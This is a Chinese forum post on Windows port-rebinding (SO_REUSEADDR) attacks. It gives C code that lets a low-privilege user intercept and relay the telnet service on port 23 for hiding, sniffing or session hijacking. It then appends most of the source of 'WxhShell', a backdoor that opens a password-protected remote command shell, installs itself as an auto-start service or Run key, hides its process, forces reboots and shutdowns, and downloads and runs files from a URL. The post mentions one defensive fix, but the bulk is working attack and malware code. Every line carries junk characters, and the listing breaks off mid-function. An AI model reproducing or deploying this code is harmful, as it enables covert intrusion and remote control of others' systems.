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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @/u`7FO$&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Zll^tF#  
=iQm_g  
  saddr.sin_family = AF_INET; (qP$I:Q4]v  
&sgwY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3d<HIG^W}  
Xda<TX@-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :Ir:OD# o  
Iz8 ^? >X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7EO&:b]  
K{ P#[X*5  
  这意味着什么?意味着可以进行如下的攻击: -]A#G`'  
o5@ jMU;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 11T\2&Q  
5gEfhZQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]e`_.>U  
eM"mP&TTL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <^_?hN8.  
sZB6zTX J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k f!/9  
-c?wEqa~2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zn!  
$:N "*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \KXEw2S  
Z+W&C@Uw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'uzv\[  
0Ida]H  
  #include e:D"_B  
  #include 6<$|;w-OV  
  #include 05 Q8`  
  #include    26VdRy{[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ur(o&,  
  int main() walRqlo@  
  { 4Z9 3 g {  
  WORD wVersionRequested; "BfmX0&?  
  DWORD ret; N:[;E3?O  
  WSADATA wsaData; 5yiiPK$qr  
  BOOL val; |I5?5 J\  
  SOCKADDR_IN saddr; gA1in  
  SOCKADDR_IN scaddr; }t3FAy(%  
  int err; Z*>/@J}  
  SOCKET s; %=8(B.I!  
  SOCKET sc; 0_mvz%[J  
  int caddsize; [(F<|f:n  
  HANDLE mt; %*q0+_  
  DWORD tid;   $jh>zf  
  wVersionRequested = MAKEWORD( 2, 2 ); QU!'W&F6  
  err = WSAStartup( wVersionRequested, &wsaData ); %O=V4%"m\  
  if ( err != 0 ) { {ah~q}(P  
  printf("error!WSAStartup failed!\n"); M6*{#Y?  
  return -1; @H%=%ZwpO  
  } N$&ePU J  
  saddr.sin_family = AF_INET; ^r_lj$:+$  
   NVqC|uEAF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {3(.c, q@  
u<shhb-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %|(?!w7  
  saddr.sin_port = htons(23); IbJ[Og^Qyu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #>:(#^Uu  
  { u[i7:V%  
  printf("error!socket failed!\n"); ;\.JV '  
  return -1; l/ rZcf8z  
  } -[pCP_`)u  
  val = TRUE; xe6_RO%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <P^hYj-swh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )jk1S  
  { Sq-3-w,R~  
  printf("error!setsockopt failed!\n"); Ybt_?Q9#]  
  return -1; pH\^1xj =  
  } 2b#(X'ob  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zvGK6qCk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pYfV~Q^3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 o3F|#op  
3@yTzaq6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3Rd`Ysp  
  { XD^ dlL  
  ret=GetLastError(); |0L=8~M(j  
  printf("error!bind failed!\n"); fK'.wX9  
  return -1; B [+(r  
  } 7?MB8tJ5r4  
  listen(s,2); CQSpPQA  
  while(1) Ak6MPuBB-  
  { 3^\?>C7  
  caddsize = sizeof(scaddr); (LRM~5KVg  
  //接受连接请求 }Kj Ju;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y$`eg|$  
  if(sc!=INVALID_SOCKET) KZF0rW  
  { rBD(2M  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gMs+?SNHAh  
  if(mt==NULL) N-2([v  
  { Ufdl|smt1  
  printf("Thread Creat Failed!\n"); ^sifEgG*d  
  break; }!%JYG^!D  
  } `/O`OrZ1K  
  } E dn[cH7  
  CloseHandle(mt); 1~2R^#rm  
  } MzQ\rg_B7  
  closesocket(s); F$Im9T6  
  WSACleanup(); 4M}|/?<Br  
  return 0; Vd+td;9(  
  }   S]&8St  
  DWORD WINAPI ClientThread(LPVOID lpParam) IKi{Xh]\  
  { :n'yQ#[rn  
  SOCKET ss = (SOCKET)lpParam; VL+N: wb>  
  SOCKET sc; 90/vJN  
  unsigned char buf[4096]; {p`mfEE (  
  SOCKADDR_IN saddr; 1 -ZJT  
  long num; t;8\fIW5  
  DWORD val; 9>by~4An?  
  DWORD ret; ,~4H{{<j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VF)uu[ f9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )K~w'TUr  
  saddr.sin_family = AF_INET; HA6G)x  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g(/{.%\k  
  saddr.sin_port = htons(23); 01udlW.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X8/Tl \c  
  { ?Z q_9T7  
  printf("error!socket failed!\n"); ~>V-*NT8  
  return -1; 5Go0}'*%  
  } y 'OlQ2U  
  val = 100; 2fJ{LC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UVB/vqGg  
  { NYBe"/}GS  
  ret = GetLastError(); h#i\iK&A  
  return -1; 0rD#s{?   
  } ! ja[ 4.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AoBoFZLl3  
  { !tEe\K\e  
  ret = GetLastError(); m0|K#^  
  return -1; G.g|jP'n  
  } [C1 LT2a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #EbGL])F}  
  { wtXY: O  
  printf("error!socket connect failed!\n"); GnFs63  
  closesocket(sc); IdPn%)>6  
  closesocket(ss); ZK6Hvc0  
  return -1; < f(?T`  
  } ak;6z]f8[  
  while(1) X7aYpt;  
  { !}y1CA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GWsd| kxU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 brh=NAzt  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _%y4q%#  
  num = recv(ss,buf,4096,0); $X \va?(  
  if(num>0) B8T\s)fxnX  
  send(sc,buf,num,0); zB*euHIqZ  
  else if(num==0) c%z'xM  
  break; J8?2R^;{  
  num = recv(sc,buf,4096,0); .2.qR,"j  
  if(num>0)  PWH^=K  
  send(ss,buf,num,0); _;hf<|c  
  else if(num==0) -/ +#5.`1  
  break; gAt~?HvW6  
  } }7ehF6  
  closesocket(ss); cWMUj K/N  
  closesocket(sc); y6-XHeU  
  return 0 ; f'X9HU{Cz  
  } /c`^iPb  
rh!;|xB|+  
,\YAnKn6_  
========================================================== ve Tx, \6@  
R_ ZK0ar  
下边附上一个代码,,WXhSHELL fE]XWA4U  
LlHa5]E@6  
========================================================== *27*>W1  
^{F_ a  
#include "stdafx.h" ! zL1;d  
0|c}p([~  
#include <stdio.h> }^xE|~p  
#include <string.h> yVX8e I  
#include <windows.h> D`[Khsf  
#include <winsock2.h> \]uV!)V5B  
#include <winsvc.h> g^7MMlY%  
#include <urlmon.h> E{?au]y$J  
Z hd#:d  
#pragma comment (lib, "Ws2_32.lib") tyh@ ^7  
#pragma comment (lib, "urlmon.lib") jQS 6J+F]  
_%/}>L>-`8  
#define MAX_USER   100 // 最大客户端连接数 L\%orLEmK  
#define BUF_SOCK   200 // sock buffer ^7^N}x@  
#define KEY_BUFF   255 // 输入 buffer ! | #83  
t `kui.  
#define REBOOT     0   // 重启 1yQejw  
#define SHUTDOWN   1   // 关机 G2Vv i[c  
eJ0?=u!x  
#define DEF_PORT   5000 // 监听端口 ^uBxgWIC  
i,I B!x  
#define REG_LEN     16   // 注册表键长度 b2,!g }I  
#define SVC_LEN     80   // NT服务名长度 up>c$jJ  
wE]K~y!`  
// 从dll定义API #P<N^[m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IQZ#-)[T"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n_?tN\M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PjKEC N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?W>qUrZ  
1r Ky@9   
// wxhshell配置信息 vS\Nd1~?  
struct WSCFG { p]T<HGJ P  
  int ws_port;         // 监听端口 `d7n?|pD  
  char ws_passstr[REG_LEN]; // 口令 ",6M)3{|c  
  int ws_autoins;       // 安装标记, 1=yes 0=no -m *Sq  
  char ws_regname[REG_LEN]; // 注册表键名 8N&+7FK  
  char ws_svcname[REG_LEN]; // 服务名 oVFnl A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w| `h[/,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v6.t{6zYgY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vM:cWat  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hso|e?Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I[)%,jd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hj'(*ND7z  
yY?b.ty  
}; HK`I\,K  
8>hwK)av  
// default Wxhshell configuration A,sr[Pa@  
struct WSCFG wscfg={DEF_PORT, q9Y9w(  
    "xuhuanlingzhe", }PTV] q%  
    1, jC bV,0)^  
    "Wxhshell", )W/;=K  
    "Wxhshell", R2Zgx\VV'  
            "WxhShell Service", :#@= B]  
    "Wrsky Windows CmdShell Service", F~ h7{@\  
    "Please Input Your Password: ", _S>JKz  
  1, (L^]Lk x)  
  "http://www.wrsky.com/wxhshell.exe", pe^u$YE  
  "Wxhshell.exe" lOtDqb&  
    }; ;4Y%PV z~D  
d3=KTTi\  
// 消息定义模块 [Xb@Wh:yG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |*}4 m'c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BNL;Biy t7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B95B|tU>.  
char *msg_ws_ext="\n\rExit."; dCRyOid$  
char *msg_ws_end="\n\rQuit."; ~l)-wNqR4r  
char *msg_ws_boot="\n\rReboot..."; 4$P0:  
char *msg_ws_poff="\n\rShutdown..."; "'D=,*  
char *msg_ws_down="\n\rSave to "; /`mks1:pK  
yu;P +G  
char *msg_ws_err="\n\rErr!"; P9T}S  
char *msg_ws_ok="\n\rOK!"; euC&0Ee2  
4O35 "1  
char ExeFile[MAX_PATH]; rk #sy$  
int nUser = 0; tCdqh-   
HANDLE handles[MAX_USER]; p6;OL@ \~  
int OsIsNt; 6_FE4RR[  
UEguF &  
SERVICE_STATUS       serviceStatus; 0tXS3+@n =  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ))"6ern  
dw*_(ys  
// 函数声明 XT4{Pe7{[P  
int Install(void); T\D}kQM  
int Uninstall(void); MRdduPrM%$  
int DownloadFile(char *sURL, SOCKET wsh); -4 SY=NC_  
int Boot(int flag); d8c=L8~jt  
void HideProc(void); / G7vwC  
int GetOsVer(void); {0WHn.,2Y  
int Wxhshell(SOCKET wsl); h-` }L=  
void TalkWithClient(void *cs); [D\k^h  
int CmdShell(SOCKET sock); `~By)?cT_>  
int StartFromService(void); ++`0rY%  
int StartWxhshell(LPSTR lpCmdLine); )8$=C#qC[  
gcl5jB5)>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1pgU}sRk  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  &7K?w~  
2QyV%wz  
// 数据结构和表定义 `u&Rsz&^  
SERVICE_TABLE_ENTRY DispatchTable[] = nH[yJGZYSA  
{ Na]:_K5Dp  
{wscfg.ws_svcname, NTServiceMain}, ddJe=PUb  
{NULL, NULL} v0H@Eg_  
}; RwpdRBb  
<^5Z:n!q  
// 自我安装 @~"h62=] -  
int Install(void) \o*5  
{ b*c*r dTx  
  char svExeFile[MAX_PATH]; ^:^9l1]  
  HKEY key; 3TeY%5iVt  
  strcpy(svExeFile,ExeFile); 4;yKOQD|  
<lx+/o  
// 如果是win9x系统,修改注册表设为自启动 $_"'&zQ'  
if(!OsIsNt) { $P^q!H4D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vc\MV0lr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cPyE 6\lN  
  RegCloseKey(key); ,Z&xNBX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R3gdLa.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'YmIKIw  
  RegCloseKey(key); qr"3y  
  return 0; S&Zm0Ku  
    } /R]U}o^/(%  
  } qkDI](4  
} jnO9j_CY  
else { {FeDvhv  
BC&S>#\  
// 如果是NT以上系统,安装为系统服务 `VA"vwz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _n0CfH.v  
if (schSCManager!=0) o=1Uh,S3R  
{ qeVfE_<  
  SC_HANDLE schService = CreateService z+0I#kM"1  
  ( AYqX |  
  schSCManager, :~&~y-14  
  wscfg.ws_svcname, {f3YsM;]C  
  wscfg.ws_svcdisp, fInb[  
  SERVICE_ALL_ACCESS, BKCA <  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kbX8$xTM  
  SERVICE_AUTO_START, X`kk]8 =  
  SERVICE_ERROR_NORMAL, LO9=xGj.  
  svExeFile, Q{sH3Y#l  
  NULL, xgVeN["  
  NULL, XKj|f`  
  NULL, EH+"~-v)ae  
  NULL, SA&Rep^  
  NULL Ta ZmRL  
  ); "jeb%k  
  if (schService!=0) dyz2.ZY~2  
  { 6 a(yp3  
  CloseServiceHandle(schService); UdT *E: 6  
  CloseServiceHandle(schSCManager); K -nF lPm\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &47i"%  
  strcat(svExeFile,wscfg.ws_svcname); E:UW#S%A f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %". HaI]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !,wIQy_e4  
  RegCloseKey(key); ?A K(|  
  return 0; <GS^  
    } sJB;3"~  
  } y`Wty@  
  CloseServiceHandle(schSCManager); -]0OKE&  
} Ec!"O3%!M^  
} |^&b8  
Zi*2nv '  
return 1; y;35WtDVb  
} b1(T4w6  
TH%Qhv\]  
// 自我卸载 m|SUV  
int Uninstall(void) Z^bQ^zk-  
{ /C:Y94B-z  
  HKEY key; )tC5Hijq,  
3 ]5^r}  
if(!OsIsNt) { (ZS}G8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]~Rho_mq#  
  RegDeleteValue(key,wscfg.ws_regname); pR*VdC _mY  
  RegCloseKey(key); nD_GL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }~YA5^VQ$  
  RegDeleteValue(key,wscfg.ws_regname); u4t7Ie*Q  
  RegCloseKey(key); l.q&D< _  
  return 0; $njUXSQ;  
  } %R}qg6dL  
} y_* !6Xr  
} %^?fMeI|Y  
else { /K+r? ]kf  
AFq~QXmr)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QE^$=\l0  
if (schSCManager!=0) 5#HW2"7  
{ tIWmp30S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]&o$b]  
  if (schService!=0) !O\82d1P  
  { fe\mL mK9  
  if(DeleteService(schService)!=0) { W,K;6TZhh  
  CloseServiceHandle(schService); |)IlMG  
  CloseServiceHandle(schSCManager); aZH:#lUlj  
  return 0; $iN"9N%l  
  } / kF)  
  CloseServiceHandle(schService); 6/f7<  
  } 4-l 8,@9  
  CloseServiceHandle(schSCManager); 'F/~o1\.  
} BGvre'67  
} EuEZ D +  
ST|x23|O]  
return 1; R}-(cc%5  
} %41m~Wh2  
3(="YbZ  
// 从指定url下载文件 ^ sOQi6pL  
int DownloadFile(char *sURL, SOCKET wsh) Lz |? ek7Q  
{ 1jx:;j  
  HRESULT hr; -"R2  
char seps[]= "/"; JYMiLph<  
char *token; D@,6M#SK  
char *file; Y[ j6u\y  
char myURL[MAX_PATH]; 1D7nkAy  
char myFILE[MAX_PATH]; oTEL?hw5  
B~'vCuE  
strcpy(myURL,sURL); q}b dxa  
  token=strtok(myURL,seps); )\1@V+!E%  
  while(token!=NULL) B?OFe'*  
  { 5-FQMXgThc  
    file=token; rF3wx.  
  token=strtok(NULL,seps); 46}g7skD  
  } sv2A-Dld  
kGH}[w  
GetCurrentDirectory(MAX_PATH,myFILE); o$wEEz*4  
strcat(myFILE, "\\"); sSr&:BOsi  
strcat(myFILE, file); fZ6MSAh  
  send(wsh,myFILE,strlen(myFILE),0); t*=CZE-  
send(wsh,"...",3,0); HSw;^E)1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w VvF^VHV^  
  if(hr==S_OK) /{EP*,/*  
return 0; o5u3Fjz3  
else <kfnpB=  
return 1; C+* d8_L  
Yc`o5Q\>  
} a Fl;BhM  
nB_?ckj,  
// 系统电源模块 1ufp qqk  
int Boot(int flag) [NF'oRRD9s  
{ z$&{:\hj  
  HANDLE hToken; ;/bewivNJ  
  TOKEN_PRIVILEGES tkp; -5)H<dAQZ  
pg6cF  
  if(OsIsNt) { 2pZXZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zU,9T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  |{&{  
    tkp.PrivilegeCount = 1; kc2 PoJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l.(v^3:X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~b(i&DVK  
if(flag==REBOOT) { .nO\kgoK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FW;m\vu  
  return 0; [ieI;OG;  
} b k~( ^!R  
else { S\^P ha q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i9rN9Mq?O  
  return 0; hl;u'_AB  
} /hpY f]t  
  } N' F77 .  
  else {  hz{`h  
if(flag==REBOOT) { !:)s"|=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J.3u^~zy  
  return 0; I"xo*}  
} pk>^?MO  
else { WEAT01  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )"qa kT  
  return 0; [.K1i ZyTi  
} NxfOF  
} 8aZ=?_gvT  
,t3wp#E2#  
return 1; "RedK '7g  
} bkRLC_/d  
6=kEyJT'  
// win9x进程隐藏模块 6d:zb;Iz  
void HideProc(void) :{{F *FM;  
{ rDl*d`He!  
XWn VgY s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A4Rug\p]  
  if ( hKernel != NULL ) a,Sw4yJ!Q  
  { Id*Ce2B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 84$nT>c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q~ tz? T_  
    FreeLibrary(hKernel); 'Jiw@t<o3`  
  } 8<5]\X  
ih)zG  
return; Y$o< 6[7  
} 60P<4  
"Hya6k>j  
// 获取操作系统版本 }q`ts=dlGt  
int GetOsVer(void) V4hiGO[  
{ ]E7F /O/.  
  OSVERSIONINFO winfo; s:?SF.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FO+Zue.RS  
  GetVersionEx(&winfo); 2iHUZzz\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P|^f0Rw3.  
  return 1; i3dkYevs?  
  else F7A=GF'  
  return 0; Amp#GR1CA  
} AmvEf  
~Uj=^leYO  
// 客户端句柄模块 yZ @"\Z!  
int Wxhshell(SOCKET wsl) \4&fxe  
{ 6O|@xvg  
  SOCKET wsh; S3F;(PDzy  
  struct sockaddr_in client; Az9?Ra;U  
  DWORD myID; mGtdO/C#B  
>l]Xz*HE  
  while(nUser<MAX_USER) ?TM ,Q  
{ :C7_Jp*Qv  
  int nSize=sizeof(client); aL*&r~`&e'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I+BHstF5um  
  if(wsh==INVALID_SOCKET) return 1; f}aL-N~  
cT<1V!L4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;}7Rjl#  
if(handles[nUser]==0) 56}U8X  
  closesocket(wsh); ,f<?;z  
else |^0XYBxQ  
  nUser++; ]}*R|1  
  } *,3SGcYdJj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,qA(\[  
Y}x>t* I  
  return 0; u0 P|0\  
} vY4\59]P  
7[w,:9& }  
// 关闭 socket BD68$y  
void CloseIt(SOCKET wsh) ,C K{F  
{ 5*E]ETo@R  
closesocket(wsh); #eQJEajv5  
nUser--; ?QsQnQ  
ExitThread(0); ,">]`|?  
} s2teym,uG  
 RwKdxK+;  
// 客户端请求句柄 'r4/e-`pK  
void TalkWithClient(void *cs) zer%W%  
{ io _1Y]N  
\Npxv  
  SOCKET wsh=(SOCKET)cs; 0Z~p%C<LW  
  char pwd[SVC_LEN]; !5.8]v  
  char cmd[KEY_BUFF]; 5pj22 s  
char chr[1]; V}bjK8$$  
int i,j; AB=daie  
#EO9UW5  
  while (nUser < MAX_USER) { _  <WJ7  
U@g4w!$r  
if(wscfg.ws_passstr) { Q7*SE%H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b8~Bazk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;fsZ7k4]do  
  //ZeroMemory(pwd,KEY_BUFF); %oq{L]C(rf  
      i=0; <%($7VMev  
  while(i<SVC_LEN) { { WIJC ',Y  
yGWxpzmRS  
  // 设置超时 jNTjSX  
  fd_set FdRead; F=`AY^u0  
  struct timeval TimeOut; K!:azP,bZ  
  FD_ZERO(&FdRead); aIJt0;  
  FD_SET(wsh,&FdRead); q ]M+/sl  
  TimeOut.tv_sec=8; @HQ`~C#Z'  
  TimeOut.tv_usec=0; 9bP^`\K[N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :axRoRg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a&tSj35*6  
#OIcLEn%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?kWC}k{  
  pwd=chr[0]; uZc`jNc\  
  if(chr[0]==0xd || chr[0]==0xa) { K&nE_.kbl  
  pwd=0; /s?r`'j[  
  break; i;NUAmx  
  } TcIcS]w%  
  i++; #.it]Nv{  
    } ]e^c=O`$  
TT'[qfAI  
  // 如果是非法用户,关闭 socket T,]7ICF#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x$IX5:E#e  
} Qy.w=80kf  
?3*l{[@J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~p1j`r;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lp<g \  
}"=AG  
while(1) { !R1.7}O  
mH Ic f{RG  
  ZeroMemory(cmd,KEY_BUFF); s}jHl8  
GFel(cx:K  
      // 自动支持客户端 telnet标准   fcNL$U&-,i  
  j=0; >S'17D  
  while(j<KEY_BUFF) { #$c Rkw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qQ"Fv|]~>  
  cmd[j]=chr[0]; jFA{+Yr1  
  if(chr[0]==0xa || chr[0]==0xd) { t?9v^vFR  
  cmd[j]=0; JMH8MH*  
  break; 4$*%gL;f^  
  } epU:  
  j++; G8r``{C!  
    } 5m9*85Ib  
-C<zF`jO  
  // 下载文件 xZ4~Oo@@_'  
  if(strstr(cmd,"http://")) { yqi^>Ce0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dh5X/y  
  if(DownloadFile(cmd,wsh)) M#~Cc~oT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `FsH}UPu b  
  else ]3g?hM6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L{(QpgHZ  
  } .h9l7 nZt  
  else { 91$]Qg,lB  
2Z3('?\z~  
    switch(cmd[0]) { c05%iv  
  P#fM:z@[  
  // 帮助 d1U\ft:gV  
  case '?': { 4dhvFGlW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /\H>y  
    break; P&b19K'  
  } L+'Fs  
  // 安装 f-5:wM&  
  case 'i': { ox%9Ph  
    if(Install()) `;>= '"O!\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IdXZoY  
    else oI.G-ChP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hWKJ,r%9;  
    break; cIp D~0\  
    } PJ2qfYsH=>  
  // 卸载 7DIIx}A  
  case 'r': { *Mw_0Y  
    if(Uninstall()) (s{RnD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2D:fJ~|-[  
    else [-)r5Dsdq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Op>%?W8/UF  
    break; Tp0bS  
    } !}4MN:r  
  // 显示 wxhshell 所在路径 k%E2n:|*  
  case 'p': { c wOJy >  
    char svExeFile[MAX_PATH]; :"l-KQ0  
    strcpy(svExeFile,"\n\r"); Le*.*\  
      strcat(svExeFile,ExeFile); 1&P<  
        send(wsh,svExeFile,strlen(svExeFile),0); UQ[B?jc  
    break; !vk|<P1  
    } v*9<c{a  
  // 重启 /__PSK  
  case 'b': { 8X I?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I8QjKI (  
    if(Boot(REBOOT)) ZvUC I8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zr-U&9.`  
    else { Z*])6=2Q  
    closesocket(wsh); gl]E_%tH  
    ExitThread(0); H<QT3RF2  
    } 9 Rx s  
    break; +n7?S~R$  
    } XfKo A0  
  // 关机 6: ]*c[7  
  case 'd': { ,:%"-`a%  
